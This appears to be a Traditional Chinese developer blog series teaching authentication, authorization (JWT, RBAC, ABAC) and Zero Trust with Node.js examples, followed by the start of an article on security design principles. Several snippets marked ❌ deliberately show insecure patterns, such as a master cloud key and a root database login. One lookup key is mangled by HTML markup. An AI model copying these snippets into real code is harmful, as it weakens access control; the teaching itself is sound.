狀態儲存 伺服器(記憶體或 Redis) 客戶端(Cookie 或 LocalStorage)
擴展性 需要共享 Session Store(如 Redis) 天然適合分散式架構
撤銷機制 簡單(直接刪除 Session) 困難(需要額外的黑名單機制)
適合場景 傳統 Web 應用、單體架構 SPA、行動 App、微服務架構
安全考量 CSRF 攻擊 Token 過期管理、儲存安全

JWT 的正確使用方式:

const jwt = require('jsonwebtoken');

// ✅ JWT 簽發:只放必要資訊,不放敏感資料
function generateTokens(user) {
  const accessToken = jwt.sign(
    {
      sub: user.id,           // 使用者 ID
      role: user.role,        // 角色(但授權時要再到 DB 確認!)
      type: 'access'
    },
    process.env.JWT_SECRET,
    {
      expiresIn: '15m',       // Access Token 短效期:15 分鐘
      issuer: 'myshop.com.tw',
      audience: 'myshop-api'
    }
  );

  const refreshToken = jwt.sign(
    { sub: user.id, type: 'refresh' },
    process.env.JWT_REFRESH_SECRET,   // 用不同的密鑰!
    { expiresIn: '7d' }               // Refresh Token 較長:7 天
  );

  return { accessToken, refreshToken };
}

// ✅ JWT 驗證中間件
function authenticateToken(req, res, next) {
  const authHeader = req.headers['authorization'];
  const token = authHeader && authHeader.split(' ')[1];  // Bearer <token>

  if (!token) {
    return res.status(401).json({ error: '未提供認證 Token' });
  }

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      issuer: 'myshop.com.tw',
      audience: 'myshop-api'
    });

    // ⚠️ 重要:不要只信任 Token 裡的角色資訊
    // 要去資料庫確認使用者是否仍然有效
    req.userId = decoded.sub;
    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({ error: 'Token 已過期,請重新登入' });
    }
    return res.status(403).json({ error: '無效的 Token' });
  }
}

飛飛觀點:
JWT 最常見的錯誤就是「把太多東西塞進 Token 裡,然後完全信任 Token 的內容」。記住:JWT 是「簽名」不是「加密」——任何人都可以 decode 看到裡面的內容。絕對不要在 JWT 裡放密碼、信用卡號、或任何敏感資料。而且,Token 裡的角色和權限只是「快取」,真正做授權決策時,還是要到資料庫確認最新狀態。

3.2 Token 儲存安全

Token 存在哪裡,直接決定它的安全性:

儲存位置 XSS 風險 CSRF 風險 建議
<code>localStorage</code> ❌ 高(JS 可讀) ✅ 無 不建議存敏感 Token
<code>sessionStorage</code> ❌ 高(JS 可讀) ✅ 無 不建議存敏感 Token
<code>HttpOnly Cookie</code> ✅ 低(JS 不可讀) ❌ 需要 CSRF 防護 推薦方案
<code>HttpOnly Cookie</code> + SameSite ✅ 低 ✅ 低 最佳實踐
// ✅ 最佳實踐:用 HttpOnly + Secure + SameSite Cookie 存 Token
res.cookie('access_token', accessToken, {
  httpOnly: true,       // JavaScript 無法讀取
  secure: true,         // 只在 HTTPS 下傳送
  sameSite: 'Strict',   // 阻擋跨站請求(防 CSRF)
  maxAge: 15 * 60 * 1000,  // 15 分鐘
  path: '/api'          // 只在 API 路徑下傳送
});

四、授權模型:RBAC vs. ABAC,選哪個?

認證解決了「你是誰」,接下來要解決「你能做什麼」。這就是授權模型的工作。

4.1 RBAC(Role-Based Access Control):基於角色的存取控制

RBAC 是最常見的授權模型,核心邏輯是:使用者 → 角色 → 權限

用辦公室比喻:你的工作職稱(角色)決定你能進哪些房間(權限)。經理可以進會議室和辦公區,實習生只能進辦公區。

台灣電商平台的 RBAC 設計:

角色定義:
├── customer(一般會員)
│   ├── 瀏覽商品
│   ├── 下訂單
│   ├── 查看自己的訂單
│   └── 修改自己的個資
├── seller(賣家)
│   ├── 管理自己的商品(CRUD)
│   ├── 查看自己的訂單
│   ├── 回覆評論
│   └── 查看自己的銷售報表
├── customer_service(客服)
│   ├── 查看訂單(所有)
│   ├── 修改訂單狀態
│   └── 查看會員基本資料(遮蔽敏感欄位)
├── admin(管理員)
│   ├── 管理使用者帳號
│   ├── 管理系統設定
│   └── 查看所有報表
└── super_admin(超級管理員)
    └── 所有權限 + 管理管理員帳號

Node.js RBAC 實作:

// 權限定義:每個角色有哪些權限
const ROLE_PERMISSIONS = {
  customer: [
    'product:read',
    'order:create',
    'order:read:own',       // 只能讀自己的
    'profile:read:own',
    'profile:update:own'
  ],
  seller: [
    'product:read',
    'product:create:own',
    'product:update:own',
    'product:delete:own',
    'order:read:own',
    'review:reply:own',
    'report:read:own'
  ],
  customer_service: [
    'product:read',
    'order:read:all',
    'order:update:status',
    'user:read:basic'       // 只能看基本資料,敏感欄位遮蔽
  ],
  admin: [
    'user:read:all',
    'user:update:all',
    'user:delete:all',
    'system:config:read',
    'system:config:update',
    'report:read:all'
  ]
};

// 授權中間件
function authorize(...requiredPermissions) {
  return async (req, res, next) => {
    // ⚠️ 從資料庫即時查詢角色,不只依賴 Token
    const user = await db.query(
      'SELECT role, status FROM users WHERE id = $1',
      [req.userId]
    );

    if (!user || user.status !== 'active') {
      return res.status(403).json({ error: '帳號已停用或不存在' });
    }

    const userPermissions = ROLE_PERMISSIONS[user.role] || [];

    const hasPermission = requiredPermissions.every(
      perm => userPermissions.includes(perm)
    );

    if (!hasPermission) {
      await logSecurityEvent('AUTHORIZATION_DENIED', {
        userId: req.userId,
        role: user.role,
        requiredPermissions,
        path: req.path
      });
      return res.status(403).json({ error: '權限不足' });
    }

    req.userRole = user.role;
    next();
  };
}

// 使用範例
app.get('/api/orders',
  authenticateToken,
  authorize('order:read:all'),
  async (req, res) => { /* ... */ }
);

app.delete('/api/users/:id',
  authenticateToken,
  authorize('user:delete:all'),
  async (req, res) => { /* ... */ }
);

4.2 ABAC(Attribute-Based Access Control):基於屬性的存取控制

RBAC 簡單好用,但面對複雜的權限需求時會顯得力不從心。比如:

  • 「賣家只能在營業時間修改商品」——這涉及時間屬性
  • 「客服只能查看自己負責區域的訂單」——這涉及地理屬性
  • 「只有通過 KYC 驗證的使用者才能購買高單價商品」——這涉及使用者屬性

這些場景用 RBAC 很難表達,因為你需要為每種組合建立一個角色,角色會爆炸性增長(「台北區日班客服」、「台北區夜班客服」、「高雄區日班客服」…)。

ABAC 的解法是:不只看角色,還看環境、資源、動作的各種屬性來做決策。

ABAC 決策公式:
允許?= f(主體屬性, 資源屬性, 動作屬性, 環境屬性)

主體屬性:角色、部門、KYC 狀態、信用等級...
資源屬性:資料分類、擁有者、敏感等級...
動作屬性:讀取、寫入、刪除、匯出...
環境屬性:時間、IP 位址、裝置、地理位置...

Node.js ABAC 實作範例:

// ABAC 策略引擎
class PolicyEngine {
  constructor() {
    this.policies = [];
  }

  addPolicy(policy) {
    this.policies.push(policy);
  }

  evaluate(context) {
    // 預設拒絕(Deny by Default)
    let decision = 'DENY';

    for (const policy of this.policies) {
      const result = policy.evaluate(context);
      if (result === 'DENY') return 'DENY';   // 任何明確拒絕 → 直接拒絕
      if (result === 'ALLOW') decision = 'ALLOW';
    }

    return decision;
  }
}

// 定義策略
const policyEngine = new PolicyEngine();

// 策略一:賣家只能在營業時間(08:00-22:00)修改商品
policyEngine.addPolicy({
  name: 'seller-business-hours',
  evaluate: (ctx) => {
    if (ctx.subject.role !== 'seller') return 'NOT_APPLICABLE';
    if (ctx.action !== 'update' || ctx.resource.type !== 'product') return 'NOT_APPLICABLE';

    const hour = new Date().getHours();
    if (hour >= 8 && hour < 22) return 'ALLOW';

    return 'DENY';  // 非營業時間拒絕修改
  }
});

// 策略二:只有通過 KYC 的使用者才能購買 NT$50,000 以上的商品
policyEngine.addPolicy({
  name: 'high-value-purchase-kyc',
  evaluate: (ctx) => {
    if (ctx.action !== 'purchase') return 'NOT_APPLICABLE';
    if (ctx.resource.price < 50000) return 'NOT_APPLICABLE';

    if (ctx.subject.kycVerified) return 'ALLOW';
    return 'DENY';
  }
});

// 策略三:客服只能查看自己負責區域的訂單
policyEngine.addPolicy({
  name: 'cs-regional-access',
  evaluate: (ctx) => {
    if (ctx.subject.role !== 'customer_service') return 'NOT_APPLICABLE';
    if (ctx.action !== 'read' || ctx.resource.type !== 'order') return 'NOT_APPLICABLE';

    if (ctx.subject.region === ctx.resource.region) return 'ALLOW';
    return 'DENY';
  }
});

// 在 API 中使用
app.put('/api/products/:id',
  authenticateToken,
  async (req, res) => {
    const product = await getProduct(req.params.id);
    const user = await getUser(req.userId);

    const decision = policyEngine.evaluate({
      subject: { role: user.role, region: user.region, kycVerified: user.kycVerified },
      resource: { type: 'product', ownerId: product.sellerId, price: product.price },
      action: 'update',
      environment: { time: new Date(), ip: req.ip }
    });

    if (decision !== 'ALLOW') {
      return res.status(403).json({ error: '目前無法執行此操作' });
    }

    // 執行更新...
  }
);

4.3 RBAC vs. ABAC:怎麼選?

比較維度 RBAC ABAC
複雜度 低,容易理解和維護 高,策略多了容易混亂
彈性 低,角色固定 高,可依各種屬性動態決策
適合場景 角色明確、權限規則簡單 權限需要考慮多種條件
效能 快(查表即可) 較慢(每次要評估多條策略)
稽核 容易(誰有什麼角色一目了然) 複雜(需要追蹤哪條策略允許了什麼)
台灣常見場景 一般電商、CMS、內部管理系統 金融業、醫療、多租戶 SaaS

飛飛觀點:
90% 的系統用 RBAC 就夠了。不要為了追求技術的先進性而導入 ABAC——除非你的業務需求真的需要。如果你發現 RBAC 的角色數量開始爆炸(超過 15 個角色),那就是該考慮 ABAC 的時候了。一個務實的做法是:先用 RBAC 打底,對少數複雜場景補充 ABAC 策略。


五、從城堡到公路:Zero Trust 架構入門

5.1 傳統模型的問題:城堡與護城河

傳統的網路安全模型就像中世紀的城堡——一旦你通過護城河(防火牆)和城門(VPN),進入城堡內部後就自由了。這叫做邊界安全(Perimeter Security)

但這個模型有致命的問題:

  • 攻擊者一旦突破邊界(釣魚、VPN 漏洞、內鬼),就可以在內網橫向移動
  • 雲端和遠端工作讓「邊界」變得模糊——你的員工在咖啡廳用公共 Wi-Fi 連 VPN,邊界在哪?
  • 微服務架構下,服務之間的通訊不再只在「城堡內」

5.2 Zero Trust 的核心原則:「永不信任,持續驗證」

Zero Trust 不是一個產品,而是一種架構設計哲學。它的核心前提是:不管你在哪裡(公司內網還是咖啡廳)、不管你是誰(員工還是合作夥伴),每一次存取都要被驗證和授權。

用蓋房子比喻:傳統模型是「社區大門有門禁,但進了社區每戶都不鎖門」;Zero Trust 是「每一道門都有獨立的門鎖和監視器,每次進入都要刷卡」。

Zero Trust 的三大原則:

原則 說明 實踐方式
永不信任 不因為在內網就自動信任 所有請求都需要認證和授權
持續驗證 不是登入一次就永遠信任 持續評估裝置狀態、行為異常、Token 效期
最小權限 只給完成當下任務所需的最小權限 動態權限調整、Just-in-Time Access

5.3 在 Node.js 微服務中實踐 Zero Trust

// 微服務之間的 Zero Trust 驗證中間件
async function zeroTrustMiddleware(req, res, next) {
  // 1. 驗證呼叫者身份(服務對服務認證)
  const serviceToken = req.headers['x-service-token'];
  if (!verifyServiceToken(serviceToken)) {
    return res.status(401).json({ error: '未認證的服務呼叫' });
  }

  // 2. 檢查呼叫者是否有權限存取此端點
  const callerService = decodeServiceToken(serviceToken).serviceName;
  const allowedCallers = getEndpointPolicy(req.path, req.method);
  if (!allowedCallers.includes(callerService)) {
    await logSecurityEvent('ZERO_TRUST_DENIED', {
      caller: callerService,
      path: req.path,
      reason: 'SERVICE_NOT_ALLOWED'
    });
    return res.status(403).json({ error: '此服務無權存取此端點' });
  }

  // 3. 檢查呼叫頻率是否異常
  const callRate = await getServiceCallRate(callerService, req.path);
  if (callRate > THRESHOLD) {
    await logSecurityEvent('ZERO_TRUST_ANOMALY', {
      caller: callerService,
      callRate,
      threshold: THRESHOLD
    });
    return res.status(429).json({ error: '呼叫頻率異常' });
  }

  // 4. 如果請求攜帶使用者 Token,也要驗證
  if (req.headers['authorization']) {
    try {
      const userToken = req.headers['authorization'].split(' ')[1];
      const decoded = jwt.verify(userToken, process.env.JWT_SECRET);
      req.userId = decoded.sub;
    } catch (err) {
      return res.status(401).json({ error: '使用者 Token 無效' });
    }
  }

  // 5. 記錄所有存取行為(稽核日誌)
  await logAccess({
    caller: callerService,
    userId: req.userId || 'system',
    path: req.path,
    method: req.method,
    timestamp: new Date()
  });

  next();
}

// 服務間的端點存取策略
function getEndpointPolicy(path, method) {
  const policies = {
    'GET /api/users/:id': ['order-service', 'notification-service'],
    'POST /api/payments': ['order-service'],
    'PUT /api/orders/:id/status': ['delivery-service', 'payment-service'],
    // 每個端點明確列出哪些服務可以呼叫
  };

  return policies[<code class="kb-btn">${method} ${path}</code>] || [];
}

5.4 Zero Trust 落地路線圖

不可能一夜之間變成 Zero Trust。以下是分階段導入的務實建議:

階段一:盤點與基礎建設(1-3 個月)

  • 盤點所有系統、服務、使用者、資料流
  • 為所有內部服務加上認證(不再依賴「內網就安全」)
  • 導入集中式身份管理(如 Keycloak、Auth0)

階段二:強化存取控制(3-6 個月)

  • 實施最小權限原則,盤點並收回過大的權限
  • 所有管理員帳號啟用 MFA
  • 導入 API Gateway 統一管理存取

階段三:持續監控與動態信任(6-12 個月)

  • 建立行為異常偵測機制
  • 導入裝置信任評估(裝置是否更新、是否有防毒)
  • 實施 Just-in-Time 權限(需要時申請,用完自動撤銷)

六、實戰案例:台灣線上訂餐平台的認證與授權設計

讓我們用一個完整的案例,把本篇所有觀念串起來。

場景

你的團隊正在為一間台灣連鎖餐飲集團設計線上訂餐平台。系統有四種角色:消費者、店家、外送員、總部管理員。

認證架構設計

消費者:Email/密碼 + 手機 OTP(首次登入新裝置時)
        支援 Line Login 社群登入(OAuth 2.0)
        支援 Passkey(可選)

店家:  Email/密碼 + TOTP(Google Authenticator)
        必須啟用 MFA

外送員:手機號碼 + 簡訊 OTP(每次登入)
        GPS 位置驗證(確認在營業區域內)

管理員:SSO(公司 AD 整合)+ FIDO2 硬體金鑰
        IP 白名單(只能從辦公室網路登入)

授權架構設計(RBAC + 部分 ABAC)

// RBAC 基礎權限
const ROLE_PERMISSIONS = {
  customer: [
    'menu:read',
    'order:create',
    'order:read:own',
    'order:cancel:own',         // 只能取消自己的訂單
    'review:create',
    'payment:create:own'
  ],
  store: [
    'menu:manage:own',          // 只能管理自家菜單
    'order:read:own_store',     // 只能看到自家的訂單
    'order:update:status:own',  // 只能更新自家訂單狀態
    'review:reply:own'
  ],
  delivery: [
    'order:read:assigned',      // 只能看被指派的訂單
    'order:update:delivery',    // 只能更新配送狀態
    'location:update:own'       // 只能更新自己的位置
  ],
  admin: [
    'user:manage:all',
    'store:manage:all',
    'order:read:all',
    'report:read:all',
    'system:config:manage'
  ]
};

// ABAC 補充策略
const abacPolicies = [
  // 消費者只能在訂單建立後 5 分鐘內取消
  {
    name: 'order-cancel-time-limit',
    evaluate: (ctx) => {
      if (ctx.action !== 'cancel' || ctx.resource.type !== 'order') return 'NOT_APPLICABLE';
      const minutesSinceCreated = (Date.now() - ctx.resource.createdAt) / 60000;
      return minutesSinceCreated <= 5 ? 'ALLOW' : 'DENY';
    }
  },
  // 店家只能在營業時間接受新訂單
  {
    name: 'store-business-hours',
    evaluate: (ctx) => {
      if (ctx.subject.role !== 'store') return 'NOT_APPLICABLE';
      if (ctx.action !== 'accept') return 'NOT_APPLICABLE';
      const now = new Date();
      const hour = now.getHours();
      return (hour >= ctx.subject.openHour && hour < ctx.subject.closeHour)
        ? 'ALLOW' : 'DENY';
    }
  },
  // 外送員只能在被指派的配送區域內操作
  {
    name: 'delivery-zone-restriction',
    evaluate: (ctx) => {
      if (ctx.subject.role !== 'delivery') return 'NOT_APPLICABLE';
      return ctx.subject.assignedZone === ctx.resource.deliveryZone
        ? 'ALLOW' : 'DENY';
    }
  }
];

Token 策略

Access Token:  15 分鐘,HttpOnly Cookie,存使用者 ID 和角色
Refresh Token: 消費者 30 天、店家 7 天、管理員 1 天
密碼重設 Token:30 分鐘,一次性使用
Email 驗證 Token:24 小時,一次性使用

所有 Token 簽發時記錄:IP、User-Agent、裝置指紋
Token 被使用時,如果 IP 或裝置指紋與簽發時不同 → 觸發 MFA 重新驗證

七、認證與授權設計 Checklist

以下是一份可以直接用於專案的檢核清單:

## 認證設計 Checklist

### 密碼安全
- [ ] 密碼使用 Argon2id 或 bcrypt 雜湊(不是 MD5 / SHA-256)
- [ ] 最低密碼長度 ≥ 12 碼
- [ ] 不限制密碼字元類型(允許 Unicode)
- [ ] 登入失敗 5 次鎖定帳號 15 分鐘
- [ ] 錯誤訊息統一為「帳號或密碼錯誤」
- [ ] 密碼重設連結 30 分鐘過期,一次性使用
- [ ] 密碼重設後撤銷所有已簽發的 Token

### 多因素認證
- [ ] 管理員帳號強制啟用 MFA
- [ ] 敏感操作(改密碼、改 Email、大額交易)要求 MFA
- [ ] 新裝置首次登入要求額外驗證
- [ ] 提供多種 MFA 選項(不只有簡訊 OTP)

### Token 管理
- [ ] Access Token 效期 ≤ 30 分鐘
- [ ] Refresh Token 有適當的效期
- [ ] Token 存在 HttpOnly + Secure + SameSite Cookie
- [ ] JWT 不包含敏感資料(密碼、信用卡號)
- [ ] 有 Token 撤銷機制(登出、密碼變更時)

### 登入安全
- [ ] 所有登入行為(成功/失敗)都有日誌記錄
- [ ] 日誌中不包含密碼(含雜湊值)
- [ ] 有異常登入偵測(異地登入、短時間大量嘗試)
- [ ] 社群登入(OAuth)有 state 參數防 CSRF

## 授權設計 Checklist

### 存取控制
- [ ] 預設拒絕(Deny by Default),明確授予權限
- [ ] 每個 API 端點都有授權檢查(不依賴前端隱藏)
- [ ] 授權決策在伺服器端,不信任前端傳來的角色資訊
- [ ] 資源存取檢查所有權(使用者只能存取自己的資料)
- [ ] 權限變更即時生效(不等 Token 過期)

### RBAC 設計
- [ ] 角色定義清楚,職責不重疊
- [ ] 管理員權限分級(不是只有一個 admin 角色)
- [ ] 角色指派有審核機制(不能自己升級自己的角色)
- [ ] 定期盤點權限,移除不再需要的角色指派

### 日誌與稽核
- [ ] 所有授權失敗都記錄日誌
- [ ] 權限變更(角色指派、權限調整)都有稽核紀錄
- [ ] 異常存取行為有即時告警

八、常見問題 FAQ

Q1:JWT 和 Session 我到底該選哪個?

如果你的架構是傳統的 Server-Side Rendering(如 Express + EJS),或者是單體架構,用 Session 就好——簡單、撤銷方便、不需要處理 Token 過期的複雜邏輯。

如果你的架構是 SPA + API、行動 App、或微服務,JWT 是更自然的選擇——無狀態、適合分散式系統、跨服務認證方便。

但記住:不管選哪個,安全原則都一樣——短效期、安全儲存、可撤銷。

Q2:我的系統很小,需要考慮 Zero Trust 嗎?

Zero Trust 的完整架構確實比較適合中大型組織。但它的核心精神——「每次存取都驗證」——不管系統多小都適用。

對小團隊來說,至少做到以下三點:

  1. 每個 API 端點都有認證檢查(不要有「匿名可存取的內部 API」)
  2. 管理員帳號啟用 MFA
  3. 不要因為「在內網」就省略認證

這三件事不需要買任何工具,花一天就能做到。

Q3:RBAC 的角色太多了怎麼辦?

角色爆炸通常有兩個原因:

  1. 把「權限」當成「角色」:比如你建了「可匯出報表的客服」、「不可匯出報表的客服」兩個角色,其實應該是一個「客服」角色加上「報表匯出」這個獨立權限。

  2. 把「組織結構」塞進角色:比如「台北區主管」、「高雄區主管」。組織結構應該用 ABAC 的屬性來處理,不是建新角色。

如果角色超過 15 個,建議重新審視角色設計,看看是否需要引入 ABAC 來處理動態條件。

Q4:這些跟台灣的法規有什麼關係?

台灣個資法要求「適當安全維護措施」,認證與授權就是最核心的安全措施之一。具體來說:

  • 個資法 §27:要有適當的存取控制機制(就是授權)
  • 金融資安行動方案:要求電子交易必須有多因素驗證
  • 資通安全管控指引:上市櫃公司需要有帳號管理與存取控制機制

做好認證與授權,不只是安全最佳實踐,也是法規遵循的基本要求。


九、結語:認證是門鎖,授權是房間鑰匙,Zero Trust 是每道門都上鎖

回到蓋房子的比喻。一棟安全的建築,不會只在大門口放一個保全就覺得萬事大吉。每一層樓有門禁、每一間辦公室有獨立的鑰匙、金庫還需要雙人同時開啟——這就是認證、授權、Zero Trust 在建築中的體現。

軟體系統也是一樣。認證確認「你是誰」,授權決定「你能做什麼」,Zero Trust 確保「每一次存取都經過驗證」。這三者不是三個獨立的系統,而是層層遞進的安全架構。

很多開發者會說:「這些東西好複雜,我們先上線再說。」但認證和授權是系統的骨架——就像承重牆一樣,事後要改的成本極高。如果你在設計階段就把認證和授權的架構想清楚,後續的開發反而會更順暢,因為你不需要一直回頭修補。

就像這個系列一直在說的:安全不是恐懼,而是創造的基礎。 堅固的認證與授權架構,不是限制你的創造力,而是讓你可以安心地在上面建構更豐富、更有價值的功能。

下一篇,我們會進入安全設計的另一個重要主題——API 安全設計:保護你的資料入口。認證授權的架構有了,接下來要看看怎麼把 API 這個對外大門守好。


延伸閱讀

[安全設計] 002 安全設計原則實戰指南:最小權限、縱深防禦、預設安全|七大原則與 Node.js 程式碼範例

你可以在上線前跑一百次滲透測試,
但如果系統在設計時就沒有安全的骨架,那不過是在紙糊的牆上貼防彈貼紙。


一、安全設計原則是什麼?為什麼你應該在寫程式前就搞懂它?

延續 SSDLC 的「蓋房子」比喻——如果說安全需求是確認「這棟房子要防震、防火、防盜」,威脅建模是找出「小偷可能從哪裡闖入」,那麼安全設計原則就是建築師的設計哲學:承重牆要放哪裡、逃生動線怎麼規劃、哪些地方要用防火建材。

安全設計原則不是一份 Checklist,而是一套思維框架。它告訴你:在面對各種設計決策時,怎麼選擇才能讓系統「先天體質好」,而不是靠後天吃補藥。

在 SSDLC 的七大階段中,安全設計原則屬於階段二:安全設計(Design)。上一篇我們學了用 STRIDE 做威脅建模,找出「威脅從哪來」;這一篇,我們要學的是「怎麼用設計把威脅擋在門外」。

飛飛觀點:
很多開發者把安全當成「功能做完再補上去的東西」。但安全設計原則告訴我們:安全不是外掛,是地基。地基歪了,上面蓋再多防禦工事都沒用。


二、七大安全設計原則:建築師的防禦哲學

這七大原則源自 Saltzer & Schroeder 在 1975 年提出的經典理論,經過近五十年的演進,至今仍是所有安全架構的基石。別被年份嚇到——這些原則就像牛頓力學一樣,基礎到你每天都在用,只是可能沒意識到。

原則一:最小權限(Least Privilege)

蓋房子比喻:水電工只需要進機電室的鑰匙,不需要拿到整棟大樓的萬能鑰匙。

最小權限的意思是:每個使用者、程式、或系統元件,只應該擁有完成其工作所需的最少權限,不多也不少。

為什麼重要?

想像你開了一間公司,每個員工都有金庫密碼、伺服器 root 權限、老闆的信用卡號碼。某天有個實習生的電腦中毒了——恭喜,攻擊者直接拿到你全公司的鑰匙。

台灣實戰場景:電商後台系統

角色 不好的做法(權限過大) 好的做法(最小權限)
客服人員 可以看到所有會員的完整個資和信用卡號 只能看到處理中的工單相關會員資訊,信用卡號遮蔽顯示
行銷人員 可以直接 SQL 查詢會員資料庫 只能透過報表系統查看匿名化的統計數據
倉儲人員 擁有後台管理員帳號 只能操作出貨管理模組,無法進入財務或會員模組
開發人員 Production 資料庫有 DELETE 權限 Production 只有 SELECT 權限,刪除需走申請流程

程式碼範例:Node.js 的最小權限實踐

// ❌ 不好的做法:一個萬能 API Key 存取所有服務
const client = new AWS.S3({
  accessKeyId: process.env.AWS_MASTER_KEY,  // 有全部 S3 權限
  secretAccessKey: process.env.AWS_MASTER_SECRET
});

// ✅ 好的做法:每個服務用獨立的 IAM 角色,只給需要的權限
const uploadClient = new AWS.S3({
  // 這個角色只能 PutObject 到特定 bucket
  // 不能刪除、不能列出其他 bucket、不能修改權限
  accessKeyId: process.env.UPLOAD_SERVICE_KEY,
  secretAccessKey: process.env.UPLOAD_SERVICE_SECRET
});
// ❌ 不好的做法:資料庫連線用 root
const db = new Pool({
  user: 'root',  // 可以 DROP DATABASE!
  password: process.env.DB_ROOT_PASSWORD
});

// ✅ 好的做法:應用程式用專屬帳號,只開需要的權限
const db = new Pool({
  user: 'app_readonly',  // 只有 SELECT 權限
  password: process.env.DB_APP_PASSWORD
});

// 需要寫入時,用另一個連線
const dbWriter = new Pool({
  user: 'app_writer',  // 只有 INSERT/UPDATE 權限,沒有 DELETE
  password: process.env.DB_WRITER_PASSWORD
});

原則二:縱深防禦(Defense in Depth)

蓋房子比喻:你家不會只裝一道門鎖就安心——你會有大門門鎖、門口監視器、社區保全、室內保險箱。攻擊者要突破每一層才能得逞。

縱深防禦的概念是:不要把所有雞蛋放在同一個籃子裡。你應該設置多層防禦,即使其中一層被突破,後面還有其他層可以擋住攻擊。

為什麼重要?

沒有任何單一安全措施是完美的。WAF 可能被繞過、密碼可能被破解、員工可能被釣魚。縱深防禦確保攻擊者必須連續突破多道關卡才能造成真正的傷害。

台灣實戰場景:線上銀行轉帳功能的縱深防禦

第一層【網路層】    → WAF 過濾惡意請求 + TLS 加密傳輸
第二層【身份驗證】  → 帳號密碼 + 手機 OTP 雙因素驗證
第三層【授權檢查】  → 檢查此帳號是否有轉帳權限 + 單日額度限制
第四層【交易驗證】  → 大額轉帳(> NT$50,000)需額外簡訊確認
第五層【輸入驗證】  → 檢查轉帳金額、帳號格式、防止 SQL Injection
第六層【監控告警】  → 異常轉帳行為即時通知(如深夜大額、新收款帳號)
第七層【稽核日誌】  → 所有交易完整記錄,供事後追查

即使駭客突破了 WAF,他還需要通過雙因素驗證;即使他拿到了密碼,大額轉帳還有額外確認;即使交易真的被執行了,監控系統也會即時告警,稽核日誌能幫助追回損失。

程式碼範例:API 端點的多層防禦

// 縱深防禦的 Express middleware 堆疊
const express = require('express');
const app = express();

// 第一層:速率限制(Rate Limiting)
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 分鐘
  max: 100,                    // 每個 IP 最多 100 次
  message: { error: '請求過於頻繁,請稍後再試' }
}));

// 第二層:輸入驗證
const { body, validationResult } = require('express-validator');

// 第三層:身份驗證(JWT 驗證)
const authenticateToken = require('./middleware/auth');

// 第四層:授權檢查(角色權限)
const authorize = require('./middleware/authorize');

// 第五層:業務邏輯層的額外驗證
app.post('/api/transfer',
  body('amount').isFloat({ min: 1, max: 1000000 }),  // 輸入驗證
  body('toAccount').matches(/^\d{12,16}$/),           // 格式檢查
  authenticateToken,                                    // 身份驗證
  authorize('transfer'),                                // 授權檢查
  async (req, res) => {
    // 第六層:業務規則檢查
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }

    const { amount, toAccount } = req.body;

    // 檢查單日累計轉帳額度
    const dailyTotal = await getDailyTransferTotal(req.user.id);
    if (dailyTotal + amount > 500000) {
      await logSecurityEvent('TRANSFER_LIMIT_EXCEEDED', req.user.id);
      return res.status(403).json({ error: '已超過單日轉帳上限' });
    }

    // 大額轉帳需 OTP 確認
    if (amount > 50000) {
      const otpValid = await verifyOTP(req.user.id, req.body.otp);
      if (!otpValid) {
        return res.status(403).json({ error: '大額轉帳需簡訊驗證' });
      }
    }

    // 第七層:記錄稽核日誌
    await auditLog({
      action: 'TRANSFER',
      userId: req.user.id,
      amount,
      toAccount: maskAccount(toAccount),  // 日誌中遮蔽帳號
      ip: req.ip,
      timestamp: new Date()
    });

    // 執行轉帳...
  }
);

原則三:預設安全(Secure by Default)

蓋房子比喻:新房子交屋時,門窗應該是「鎖上」的狀態,而不是「敞開」讓住戶自己去鎖。

預設安全的意思是:系統在未經特別設定的情況下,就應該處於安全狀態。使用者需要主動「打開」功能,而不是主動「關閉」風險。

為什麼重要?

大多數使用者(包括開發者)不會去改預設設定。如果你的框架預設開啟 Debug 模式、預設允許所有來源的 CORS、預設不加密 Cookie——那大部分上線的系統都會帶著這些風險。

常見的「預設不安全」 vs.「預設安全」

設定項目 預設不安全(常見錯誤) 預設安全(正確做法)
Debug 模式 預設開啟,顯示完整錯誤堆疊 預設關閉,只顯示友善錯誤訊息
CORS 設定 <code>Access-Control-Allow-Origin: *</code> 只允許特定白名單域名
Cookie 沒設 <code>HttpOnly</code>、<code>Secure</code>、<code>SameSite</code> 預設 <code>HttpOnly; Secure; SameSite=Strict</code>
密碼政策 無限制,<code>123456</code> 也能過 至少 12 碼,含大小寫、數字、特殊符號
檔案上傳 允許所有檔案類型 只允許白名單內的類型(jpg, png, pdf)
API 回應 回傳所有欄位,包含內部 ID 和敏感資訊 只回傳必要欄位,過濾敏感資訊
帳號註冊 Email 不用驗證即可使用 必須通過 Email 驗證才能啟用帳號

程式碼範例:Express.js 預設安全配置

const express = require('express');
const helmet = require('helmet');
const cors = require('cors');

const app = express();

// ✅ 預設安全的 HTTP 標頭
app.use(helmet());  // 自動設定多個安全標頭

// ✅ 嚴格的 CORS 白名單
app.use(cors({
  origin: ['https://www.myshop.com.tw', 'https://admin.myshop.com.tw'],
  methods: ['GET', 'POST'],  // 只允許需要的 HTTP 方法
  credentials: true
}));

// ✅ 安全的 Cookie 預設值
app.use(require('cookie-session')({
  name: 'session',
  httpOnly: true,     // JavaScript 無法存取
  secure: true,       // 只透過 HTTPS 傳送
  sameSite: 'strict', // 防止 CSRF
  maxAge: 30 * 60 * 1000  // 30 分鐘過期
}));

// ✅ 預設關閉 Debug 資訊
if (process.env.NODE_ENV === 'production') {
  app.set('trust proxy', 1);
  // 錯誤處理不揭露內部資訊
  app.use((err, req, res, next) => {
    console.error(err.stack);  // 只記到伺服器日誌
    res.status(500).json({ error: '系統發生錯誤,請稍後再試' });
    // 絕不回傳 err.stack 或 err.message 給客戶端
  });
}

飛飛觀點:
預設安全的精髓是「懶人也安全」。好的框架和好的設計,應該讓開發者不用刻意做什麼就已經是安全的。需要特別努力的應該是「打開不安全的功能」,而不是「關閉不安全的功能」。


原則四:開放設計(Open Design)

蓋房子比喻:好的保全系統不是因為小偷不知道你裝了什麼牌子的鎖才安全,而是因為鎖本身夠堅固——就算小偷知道廠牌型號,還是打不開。

開放設計原則主張:系統的安全性不應該依賴於設計或實作的保密性(也就是不能靠 "Security through Obscurity")。安全應該來自於良好的設計本身,而非隱藏設計細節。

為什麼重要?

